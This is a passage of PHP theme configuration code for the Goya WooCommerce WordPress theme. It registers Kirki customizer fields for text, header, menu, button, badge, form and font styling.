    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'main_font_color', 'label' => esc_html__( 'Body Text Color', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#686868', 'priority' => 10, 'output' => array( array( 'element' => 'body, table, .shop_table, blockquote cite, .et-listing-style1 .product_thumbnail .et-quickview-btn, .products .single_add_to_cart_button.button, .products .add_to_cart_button.button, .products .added_to_cart.button, .side-panel header h6', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'darker_font_color', 'label' => esc_html__( 'Darker Text Color', 'goya' ), 'description' => esc_html__( 'Elements with slighly darker color than body text.', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => '.cart-collaterals .woocommerce-shipping-destination strong, #order_review .shop_table, #payment .payment_methods li label, .et-product-detail .summary .variations label, .woocommerce-tabs .tabs li a:hover, .woocommerce-tabs .tabs li.active a, .et-product-detail .product_meta > span *, .sticky-product-bar .variations label, .et-product-detail .summary .sizing_guide, #side-cart .woocommerce-mini-cart__total, .woocommerce-Price-amount, .cart-collaterals .shipping-calculator-button, .woocommerce-terms-and-conditions-wrapper a, .et-checkout-login-title a, .et-checkout-coupon-title a, .woocommerce-checkout h3, .order_review_heading, .woocommerce-Address-title h3, .woocommerce-MyAccount-content h3, .woocommerce-MyAccount-content legend, .et-product-detail.et-cart-mixed .summary .yith-wcwl-add-to-wishlist > div > a, .et-product-detail.et-cart-stacked .summary .yith-wcwl-add-to-wishlist > div > a, .hentry table th, .entry-content table th, #reviews .commentlist li .comment-text .meta strong, .et-feat-video-btn, #ship-to-different-address label, .woocommerce-account-fields p.create-account label, .et-login-wrapper a, .floating-labels .form-row.float-label input:focus ~ label, .floating-labels .form-row.float-label textarea:focus ~ label, .woocommerce-info, .order_details li strong, table.order_details th, table.order_details a:not(.button), .variable-items-wrapper .variable-item:not(.radio-variable-item).button-variable-item.selected, .woocommerce-MyAccount-content p a:not(.button), .woocommerce-MyAccount-content header a, .woocommerce-MyAccount-navigation ul li a, .et-MyAccount-user-info .et-username strong, .woocommerce-MyAccount-content .shop_table tr th, mark, .woocommerce-MyAccount-content strong, .product_list_widget a, .search-panel .search-field, .goya-search .search-button-group select, .widget .slider-values p span', 'property' => 'color', ), array( 'element' => 'input[type=radio]:checked:before, input[type=checkbox]:checked,.select2-container--default .select2-results__option--highlighted[aria-selected], .widget .noUi-horizontal .noUi-base .noUi-origin:first-child', 'property' => 'background-color', ), array( 'element' => 'label:hover input[type=checkbox], label:hover input[type=radio], input[type="text"]:focus, input[type="password"]:focus, input[type="number"]:focus, input[type="date"]:focus, input[type="datetime"]:focus, input[type="datetime-local"]:focus, input[type="time"]:focus, input[type="month"]:focus, input[type="week"]:focus, input[type="email"]:focus, input[type="search"]:focus, input[type="tel"]:focus, input[type="url"]:focus, input.input-text:focus, select:focus, textarea:focus', 'property' => 'border-color', ), array( 'element' => 'input[type=checkbox]:checked', 'property' => 'border-color', 'suffix' => '!important', ), array( 'element' => '.et-product-detail .summary .yith-wcwl-add-to-wishlist a .icon svg, .sticky-product-bar .yith-wcwl-add-to-wishlist a .icon svg', 'property' => 'stroke', ), array( 'element' => '.et-product-detail .summary .yith-wcwl-wishlistaddedbrowse a svg, .et-product-detail .summary .yith-wcwl-wishlistexistsbrowse a svg, .sticky-product-bar .yith-wcwl-wishlistaddedbrowse a svg, .sticky-product-bar .yith-wcwl-wishlistexistsbrowse a svg', 'property' => 'fill', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'lighter_font_color', 'label' => esc_html__( 'Lighter Text Color', 'goya' ), 'description' => esc_html__( 'Color used for breadcrumbs, dates and other light elements.', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#999999', 'priority' => 10, 'output' => array( array( 'element' => '.woocommerce-breadcrumb, .woocommerce-breadcrumb a, .widget .wcapf-layered-nav ul li .count, .category_bar .header-active-filters, #reviews .commentlist li .comment-text .woocommerce-review__verified, #reviews .commentlist li .comment-text .woocommerce-review__published-date, .woof_container_inner h4, #side-filters .header-active-filters .active-filters-title, #side-filters .widget h6, .sliding-menu .sliding-menu-back, .type-post .post-meta', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'styling', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'heading_color', 'label' => esc_html__( 'Headings Color', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => 'h1, h2, h3, h4, h5, h6', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'styling', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'dot_loader_color', 'label' => esc_html__( 'Dot Loader color', 'goya' ), 'description' => esc_html__( 'The pulsating circle animation', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#b9a16b', 'priority' => 10, 'output' => array( array( 'element' => '.yith-wcan-loading:after, .blockUI.blockOverlay:after, .easyzoom-notice:after, .woocommerce-product-gallery__wrapper .slick:after, .add_to_cart_button.loading:after, .et-loader:after, .wcapf-before-update:after, #side-filters.ajax-loader .side-panel-content:after', 'property' => 'background-color', ), array( 'element' => '.et-page-load-overlay .dot3-loader', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'styling', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'primary_buttons', 'label' => esc_html__( 'Primary Buttons Background', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => '.button, input[type=submit], button[type=submit], #side-filters .et-close, .nf-form-cont .nf-form-content .submit-wrap .ninja-forms-field, .yith-wcwl-popup-footer a.button.wishlist-submit', 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'primary_buttons_text_color', 'label' => esc_html__( 'Primary Buttons Color', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => '.button, .button:hover, button[type=submit], button[type=submit]:hover, input[type=submit], input[type=submit]:hover, .nf-form-cont .nf-form-content .submit-wrap .ninja-forms-field, .nf-form-cont .nf-form-content .submit-wrap .ninja-forms-field:hover, .yith-wcwl-popup-footer a.button.wishlist-submit', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'second_buttons', 'label' => esc_html__( 'Secondary Buttons Text/Border', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => '.button.outlined, .button.outlined:hover, .button.outlined:focus, .button.outlined:active, .woocommerce-Reviews .comment-reply-title:hover', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'styling', 'default' => '

    ' . esc_html__( 'Helper Classes', 'goya' ) . '

    ' . esc_html__( 'Default colors, you can override or combine with other classes. For example: "fancy-title accent-color', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'fancy_title_color', 'label' => esc_html__( 'Fancy Title Color', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#b9a16b', 'priority' => 10, 'output' => array( array( 'element' => '.fancy-title', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'fancy_tag_color', 'label' => esc_html__( 'Fancy Tag Background', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#b9a16b', 'priority' => 10, 'output' => array( array( 'element' => '.fancy-tag', 'property' => 'background-color', ), ), )); /* Header Colors */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_styles', 'default' => '

    ' . esc_html__( 'Main Header Colors', 'goya' ) . '

    ' . esc_html__( 'Default colors - if header is not transparent', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'header_regular_mode', 'label' => esc_html__( 'Header - Color mode', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_styles', 'default' => 'dark', 'priority' => 10, 'choices' => array( 'dark' => esc_attr__('Dark Text', 'goya'), 'light' => esc_attr__('Light Text', 'goya'), ), 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'light-title', 'value' => 'light', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'header_background_color', 'label' => esc_html__( 'Header - Background', 'goya' ), 'transport' => 'auto', 'section' => 'header_styles', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => array('.page-header-regular .header, .header_on_scroll .header'), 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_styles', 'default' => '

    ' . esc_html__( 'Header Border', 'goya' ) . '

    ' . esc_html__( 'Applied when header is not transparent', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'page_header_border', 'label' => esc_html__( 'Add Border', 'goya' ), 'description' => esc_html__( 'Border on regular pages', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_styles', 'default' => true, 'priority' => 10, 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'header-border-1', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_header_border', 'label' => esc_html__( 'Add Border - Shop', 'goya' ), 'description' => esc_html__( 'Border on shop pages', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_styles', 'default' => true, 'priority' => 10, 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'header-border-1', 'value' => true, ), ), )); /* Main Menu Styles */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_styles', 'default' => '

    ' .esc_html__( 'Main Header Menu', 'goya' ).'

    ', 'priority' => 10, )); /* Main Menu */ Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'header_navigation_color', 'label' => esc_html__( 'Menu Links Color - Dark Text', 'goya' ), 'transport' => 'auto', 'section' => 'header_styles', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => array('.header a','.header .menu-toggle','.header .goya-search button, .header .et-switcher-container .selected, .header .et-header-text, .header .product.wcml-dropdown li>a, .header .product.wcml-dropdown .wcml-cs-active-currency>a, .header .product.wcml-dropdown .wcml-cs-active-currency:hover>a, .header .product.wcml-dropdown .wcml-cs-active-currency:focus>a', ), 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'header_navigation_color_light', 'label' => esc_html__( 'Menu Links Color - Light Text', 'goya' ), 'description' => esc_html__( 'Used when the header is set to Light Text mode', 'goya' ), 'transport' => 'auto', 'section' => 'header_styles', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => array('.sticky-header-light .header .menu-toggle:hover','.header-transparent-mobiles.sticky-header-light.header_on_scroll .header a.icon','.header-transparent-mobiles.sticky-header-light.header_on_scroll .header .menu-toggle','.header-transparent-mobiles.light-title:not(.header_on_scroll) .header a.icon','.header-transparent-mobiles.light-title:not(.header_on_scroll) .header .menu-toggle'), 'property' => 'color', 'media_query' => '@media only screen and (max-width: 767px)', ), array( 'element' => array('.light-title:not(.header_on_scroll) .header .site-title, .light-title:not(.header_on_scroll) .header .et-header-menu > li> a, .sticky-header-light.header_on_scroll .header .et-header-menu > li> a, .light-title:not(.header_on_scroll) span.minicart-counter.et-count-zero, .sticky-header-light.header_on_scroll .header .et-header-text, .sticky-header-light.header_on_scroll .header .et-header-text a, .light-title:not(.header_on_scroll) .header .et-header-text, .light-title:not(.header_on_scroll) .header .et-header-text a, .sticky-header-light.header_on_scroll .header .header .icon, .light-title:not(.header_on_scroll) .header .icon, .sticky-header-light.header_on_scroll .header .menu-toggle, .light-title:not(.header_on_scroll) .header .menu-toggle, .sticky-header-light.header_on_scroll .header .et-switcher-container .selected, .light-title:not(.header_on_scroll) .header .et-switcher-container .selected, .light-title:not(.header_on_scroll) .header .product.wcml-dropdown li>a, .light-title:not(.header_on_scroll) .header .product.wcml-dropdown .wcml-cs-active-currency>a, .light-title:not(.header_on_scroll) .header .product.wcml-dropdown .wcml-cs-active-currency:hover>a, .light-title:not(.header_on_scroll) .header .product.wcml-dropdown .wcml-cs-active-currency:focus>a, .sticky-header-light.header_on_scroll .header .product.wcml-dropdown li>a, .sticky-header-light.header_on_scroll .header .product.wcml-dropdown .wcml-cs-active-currency>a, .sticky-header-light.header_on_scroll .header .product.wcml-dropdown .wcml-cs-active-currency:hover>a, .sticky-header-light.header_on_scroll .header .product.wcml-dropdown .wcml-cs-active-currency:focus>a'), 'property' => 'color', 'media_query' => '@media only screen and (min-width: 768px)', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'header_navigation_tag_color', 'label' => esc_html__( 'Menu Link Tags', 'goya' ), 'description' => esc_html__( 'Small labels on navigation menu. You can override the color on the Menu Manager', 'goya' ), 'transport' => 'auto', 'section' => 'header_styles', 'default' => '#bbbbbb', 'priority' => 10, 'output' => array( array( 'element' => array('.et-header-menu .menu-label'), 'property' => 'background-color', ), ), )); /* Dropdown Main Menu */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'dropdown_menu_font_color', 'label' => esc_html__( 'Dropdown Menu Links', 'goya' ), 'transport' => 'auto', 'section' => 'header_styles', 'default' => '#444444', 'priority' => 10, 'output' => array( array( 'element' => array('.et-header-menu ul.sub-menu li a'), 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'dropdown_menu_background_color', 'label' => esc_html__( 'Dropdown Menu Background', 'goya' ), 'transport' => 'auto', 'section' => 'header_styles', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => array('.et-header-menu ul.sub-menu:before','.et-header-menu .sub-menu .sub-menu'), 'property' => 'background-color', ), array( 'element' => array('.et-header-menu>li.menu-item-has-children > a:after'), 'property' => 'border-bottom-color', ), ), )); /* Shop Colors */ Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'checkout_button_bg', 'label' => esc_html__( '"Cart | Checkout | Order" buttons', 'goya' ), 'description' => esc_html__( 'Background color for "Add to Cart | Checkout | Place Order" buttons', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#181818', 'priority' => 10, 'output' => array( array( 'element' => array('.et-product-detail .single_add_to_cart_button, .sticky-product-bar .single_add_to_cart_button, .sticky-product-bar .add_to_cart_button, .woocommerce-mini-cart__buttons .button.checkout, .button.checkout-button, #place_order.button, .woocommerce .argmc-wrapper .argmc-nav-buttons .argmc-submit, .wishlist_table .add_to_cart'), 'property' => 'background-color', ), array( 'element' => array('.products:not(.shop_display_list) .et-listing-style4 .after_shop_loop_actions .button'), 'property' => 'background-color', 'media_query' => '@media only screen and (min-width: 768px)' ), array( 'element' => array('.woocommerce-mini-cart__buttons .button:not(.checkout)'), 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'dark_product_button_bg', 'label' => esc_html__( 'Cart button background - Dark products', 'goya' ), 'description' => esc_html__( 'Button background for products with Dark Background', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => '.product-showcase-light-text .showcase-inner .single_add_to_cart_button', 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'dark_product_button_text', 'label' => esc_html__( 'Cart button text - Dark products', 'goya' ), 'description' => esc_html__( 'Button text color for products with Dark Background', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#181818', 'priority' => 10, 'output' => array( array( 'element' => '.product-showcase-light-text .et-product-detail .single_add_to_cart_button', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'shop_toolbar_color', 'label' => esc_html__( 'Shop toolbar color', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => '.shop_bar button, .shop_bar .woocommerce-ordering .select2-container--default .select2-selection--single, .shop_bar .shop-filters .orderby, .shop_bar .woocommerce-ordering:after', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'product_name', 'label' => esc_html__( 'Product name', 'goya' ), 'description' => esc_html__( 'In catalog and single product page', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => '.products .product-title h3 a, .et-product-detail .summary h1', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'product_price', 'label' => esc_html__( 'Product price', 'goya' ), 'description' => esc_html__( 'In catalog and single product page', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#777777', 'priority' => 10, 'output' => array( array( 'element' => '.products .product_after_title .price ins, .products .product_after_title .price>.amount, .price ins, .price > .amount, .price del, .price .woocommerce-Price-amount', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'rating_stars_color', 'label' => esc_html__( 'Rating Stars color', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => '.star-rating > span:before, .comment-form-rating .stars > span:before', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'sale_badge_font_color', 'label' => esc_html__( '"Sale" badge text', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#ef5c5c', 'priority' => 10, 'output' => array( array( 'element' => '.product-inner .badge.onsale, .wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-onsale', 'property' => 'color', ), array( 'element' => '.et-product-detail .summary .badge.onsale', 'property' => 'border-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'sale_badge_background_color', 'label' => esc_html__( '"Sale" badge background', 'goya' ), 'description' => esc_html__( 'On single product page is always transparent', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => '.product-inner .badge.onsale, .wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-onsale', 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'new_badge_font_color', 'label' => esc_html__( '"New" product text', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#585858', 'priority' => 10, array( 'element' => '.product-inner .badge.new', 'property' => 'color', ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'new_badge_background_color', 'label' => esc_html__( '"New" product background', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => '.product-inner .badge.new', 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'stock_badge_font_color', 'label' => esc_html__( '"Out of Stock" text', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#585858', 'priority' => 10, 'output' => array( array( 'element' => '.product-inner .badge.out-of-stock', 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'stock_badge_background_color', 'label' => esc_html__( '"Out of Stock" background', 'goya' ), 'transport' => 'auto', 'section' => 'shop_styles', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => '.product-inner .badge.out-of-stock', 'property' => 'background-color', ), ), )); /* Form Styles */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'form_styles', 'default' => '

    ' .esc_html__( 'Inputs, buttons styles', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'elements_border_style', 'label' => esc_html__( 'Input boxes style', 'goya' ), 'transport' => 'postMessage', 'section' => 'form_styles', 'default' => 'all', 'priority' => 10, 'choices' => array( 'all' => esc_attr__('All borders', 'goya'), 'bottom' => esc_attr__('Bottom border', 'goya'), ), 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'el-style-border-all', 'value' => 'all', ), array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'el-style-border-bottom', 'value' => 'bottom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'form_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'elements_border_width', 'label' => esc_html__( 'Border width (px)', 'goya' ), 'description' => esc_html__( 'Choose the border width for input fields and buttons', 'goya' ), 'transport' => 'postMessage', 'section' => 'form_styles', 'default' => 2, 'priority' => 10, 'choices' => array( 'min' => 1, 'max' => 2, 'step' => 1 ), 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'el-style-border-width-1', 'value' => '1', ), array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'el-style-border-width-2', 'value' => '2', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'elements_border_radius', 'label' => esc_html__( 'Border radius (px)', 'goya' ), 'transport' => 'auto', 'section' => 'form_styles', 'default' => 0, 'priority' => 10, 'choices' => array( 'min' => 0, 'max' => 4, 'step' => 1 ), 'output' => array( array( 'element' => 'input[type="text"], input[type="password"], input[type="number"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="time"], input[type="month"], input[type="week"], input[type="email"], input[type="search"], input[type="tel"], input[type="url"], input.input-text, select, textarea, .wp-block-button__link, .nf-form-cont .nf-form-content .list-select-wrap .nf-field-element > div, .nf-form-cont .nf-form-content input:not([type="button"]), .nf-form-cont .nf-form-content textarea, .nf-form-cont .nf-form-content .submit-wrap .ninja-forms-field, .button, .comment-form-rating, .woocommerce a.ywsl-social, .login a.ywsl-social, input[type=submit], .select2.select2-container--default .select2-selection--single, .woocommerce .woocommerce-MyAccount-content .shop_table .woocommerce-button, .woocommerce .sticky-product-bar .quantity, .woocommerce .et-product-detail .summary .quantity, .et-product-detail .summary .yith-wcwl-add-to-wishlist > div > a, .wishlist_table .add_to_cart.button, .yith-wcwl-add-button a.add_to_wishlist, .yith-wcwl-popup-button a.add_to_wishlist, .wishlist_table a.ask-an-estimate-button, .wishlist-title a.show-title-form, .hidden-title-form a.hide-title-form, .woocommerce .yith-wcwl-wishlist-new button, .wishlist_manage_table a.create-new-wishlist, .wishlist_manage_table button.submit-wishlist-changes, .yith-wcwl-wishlist-search-form button.wishlist-search-button, #side-filters.side-panel .et-close, .header .search-button-group', 'property' => 'border-radius', 'units' => 'px', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'form_styles', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'elements_floating_labels', 'label' => esc_html__( 'Floating labels', 'goya' ), 'description' => esc_html__( 'Labels for input fields will "float" on focus.', 'goya'), 'section' => 'form_styles', 'default' => true, 'priority' => 10, )); /** * FONTS */ /* Fonts */ Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'main_font_source', 'label' => esc_html__( 'Main Font Source', 'goya' ), 'section' => 'fonts', 'default' => '1', 'priority' => 10, 'choices' => array( '1' => esc_attr__('Standard + Google Fonts', 'goya'), '2' => esc_attr__('Adobe Typekit', 'goya'), ), )); // Main font: Standard + Google Fonts Kirki::add_field( 'goya_config', array( 'type' => 'typography', 'settings' => 'main_font', 'label' => esc_html__( 'Main Font', 'goya' ), 'description' => esc_html__( 'Default: Jost | 400 | 1.7', 'goya' ), 'transport' => 'auto', 'section' => 'fonts', 'priority' => 10, 'choices' => goya_main_font_choices(), 'default' => array( 'font-family' => 'Jost', 'variant' => 'regular', 'line-height' => '1.7', ), 'output' => array( array( 'element' => 'body, blockquote cite', ), array( 'element' => '.edit-post-visual-editor.editor-styles-wrapper,.wp-block h1,.wp-block h2,.wp-block h3,.wp-block h4,.wp-block h5,.wp-block h6,.editor-post-title__block .editor-post-title__input,.wp-block-quote p,.wp-block-pullquote p,.wp-block-cover .wp-block-cover-text', 'context' => array( 'editor' ), ), ), 'required' => array( array( 'setting' => 'main_font_source', 'operator' => '==', 'value' => '1' ) ), )); // Main font: Adobe Typekit Kirki::add_field( 'goya_config', array( 'type' => 'text', 'settings' => 'main_font_typekit_kit_id', 'label' => esc_html__( 'Project ID', 'goya' ), 'section' => 'fonts', 'default' => '', 'priority' => 10, 'required' => array( array( 'setting' => 'main_font_source', 'operator' => '==', 'value' => '2' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'text', 'settings' => 'main_typekit_font', 'label' => esc_html__( 'font-family', 'goya' ), 'description' => esc_html__( 'The font name used in the CSS output. Example: futura-pt', 'goya' ), 'section' => 'fonts', 'default' => '', 'priority' => 10, 'required' => array( array( 'setting' => 'main_font_source', 'operator' => '==', 'value' => '2' ) ), )); /* Second Font: Titles */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'fonts', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'second_font_source', 'label' => esc_html__( 'Second Font Source', 'goya' ), 'section' => 'fonts', 'default' => '0', 'priority' => 10, 'choices' => array( '0' => esc_attr__( 'No Second Font', 'goya' ), '1' => esc_attr__( 'Standard + Google Fonts', 'goya' ), '2' => esc_attr__( 'Adobe Typekit', 'goya' ), ), )); // Second font: Standard + Google Fonts Kirki::add_field( 'goya_config', array( 'type' => 'typography', 'settings' => 'second_font', 'label' => esc_html__( 'Second Font', 'goya' ), 'description' => esc_html__( 'Default: Jost | regular', 'goya' ), 'transport' => 'auto', 'section' => 'fonts', 'priority' => 10, 'choices' => goya_second_font_choices(), 'default' => array( 'font-family' => 'Jost', 'variant' => 'regular', ), 'output' => array( array( 'element' => '.site-header .main-navigation, .site-header .secondary-navigation, h1, .page-header .page-title, .entry-header .entry-title, .et-shop-title, .product-showcase.product-title-top .product_title, .et-product-detail .summary h1.product_title, .entry-title.blog-title, .post.post-detail .entry-header .entry-title, .post.post-detail .post-featured .entry-header .entry-title, .wp-block-cover .wp-block-cover-text, .wp-block-cover .wp-block-cover__inner-container, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover-image h2, .revslider-slide-title, blockquote h1, blockquote h2, blockquote h3, blockquote h4, blockquote h5, blockquote h6, blockquote p, .post-sidebar .widget > h6, .hentry h2, .entry-content h2, .mfp-content h2, .footer h2, .entry-content h3, .hentry h3, .mfp-content h3, .footer h3, .entry-content h4, .hentry h4, .mfp-content h4, .footer h4, .post .post-title h3, .products .product .product-title h2, .et-portfolio .type-portfolio h3, .et-banner-text .et-banner-title, .woocommerce-order-received h2, .woocommerce-MyAccount-content h2, .woocommerce-MyAccount-content h3, .woocommerce-checkout h3, .order_review_heading, .woocommerce-MyAccount-content legend, .et-portfolio .type-portfolio h3, .related h2, .up-sells h2, .cross-sells h2, .cart-collaterals h5, .cart-collaterals h3, .cart-collaterals h2, .related-posts .related-title, .et_post_nav .post_nav_link h3, .comments-container .comments-title, .product-details-accordion .woocommerce-Reviews-title, .et-hovercard .et-pricing-head', ), array( 'element' => '.wp-block h1,.wp-block h2,.wp-block h3,.editor-post-title__block .editor-post-title__input,.wp-block-quote p,.wp-block-pullquote p,.wp-block-cover .wp-block-cover-text', 'context' => array( 'editor' ), ), ), 'required' => array( array( 'setting' => 'second_font_source', 'operator' => '==', 'value' => '1' ) ), )); // Second font: Adobe Typekit Kirki::add_field( 